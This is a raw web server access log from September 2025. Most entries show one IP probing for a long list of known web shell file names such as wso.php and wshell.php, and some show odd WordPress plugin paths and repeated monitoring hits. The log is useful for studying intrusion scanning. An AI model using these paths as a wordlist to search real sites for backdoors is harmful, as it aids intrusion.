196.251.80.56 - - [23/Sep/2025:16:04:17 -0400] "GET /yii.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:22 -0400] "GET /yudha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:24 -0400] "GET /zaks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:35 -0400] "GET /zip.php.rar HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:43 -0400] "GET /zz.php5.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:47 -0400] "GET /byps.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:02 -0400] "GET /wp-signis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:11 -0400] "GET /wp-six.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:37 -0400] "GET /wp-trackk.php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:00:54 -0400] "GET /wp1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:04 -0400] "GET /write.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:08 -0400] "GET /wshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:12 -0400] "GET /wso.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:15 -0400] "GET /wso.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:17 -0400] "GET /wso4-2-5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:21 -0400] "GET /wso7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:25 -0400] "GET /wso_2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:31 -0400] "GET /wsogren.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:33 -0400] "GET /wsol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:01:52 -0400] "GET /x9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:04 -0400] "GET /xa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:08 -0400] "GET /xaxa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:16 -0400] "GET /xgalang10.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:33 -0400] "GET /xiexie.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:38 -0400] "GET /xixi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:02:43 -0400] "GET /xlmprc1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:01 -0400] "GET /xmlrpcs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:06 -0400] "GET /xmlrpedefoin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:09 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:16 -0400] "GET /xrobot.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:21 -0400] "GET /xrv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:24 -0400] "GET /xs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:39 -0400] "GET /xx.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:47 -0400] "GET /xxrexx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:51 -0400] "GET /x%C2%B9%C2%B2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:53 -0400] "GET /y8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:03:57 -0400] "GET /ya.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:03 -0400] "GET /yatim.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:09 -0400] "GET /yemen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:26 -0400] "GET /zero-one.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:30 -0400] "GET /zeybegedsf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:16:04:38 -0400] "GET /zxc.php HTTP/1.1" 301 795 "-" "-"
45.133.173.29 - - [23/Sep/2025:16:13:48 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:16:13:48 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
3.8.4.18 - - [23/Sep/2025:16:13:48 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:16:13:48 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
3.8.4.18 - - [23/Sep/2025:16:29:46 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:16:29:47 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:16:29:47 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:16:29:46 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.40.43.27 - - [23/Sep/2025:16:43:18 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:16:43:18 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:16:43:18 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:16:43:19 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:16:57:21 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.40.43.27 - - [23/Sep/2025:16:57:21 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:16:57:22 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:16:57:22 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.40.43.27 - - [23/Sep/2025:17:12:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:17:12:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:17:12:33 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:17:12:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.40.94.52 - - [23/Sep/2025:17:26:16 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:17:26:16 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:17:26:16 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:17:26:17 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
116.98.237.224 - - [23/Sep/2025:17:21:11 -0400] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
13.40.94.52 - - [23/Sep/2025:17:40:49 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:17:40:49 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:17:40:50 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:17:40:50 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
185.189.113.114 - - [23/Sep/2025:17:41:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; GoParserBot/1.0)"
45.133.173.30 - - [23/Sep/2025:17:56:09 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
125.94.144.102 - - [23/Sep/2025:18:04:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
13.40.94.52 - - [23/Sep/2025:17:56:09 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:17:56:09 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:17:56:10 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
13.40.94.52 - - [23/Sep/2025:18:12:12 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:18:12:12 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.30 - - [23/Sep/2025:18:12:13 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:18:12:13 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.30 - - [23/Sep/2025:18:26:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
130.211.50.131 - - [23/Sep/2025:18:26:55 -0400] "GET /heh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
130.211.50.131 - - [23/Sep/2025:18:36:50 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
45.133.173.30 - - [23/Sep/2025:18:41:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:18:26:33 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:18:26:33 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
130.211.50.131 - - [23/Sep/2025:18:33:44 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
206.189.247.132 - - [23/Sep/2025:18:41:32 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:18:41:33 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.30 - - [23/Sep/2025:18:55:32 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:18:55:32 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:18:55:32 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
35.176.141.176 - - [23/Sep/2025:19:11:42 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:19:11:42 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.30 - - [23/Sep/2025:19:11:42 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:19:11:42 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
@ Telegram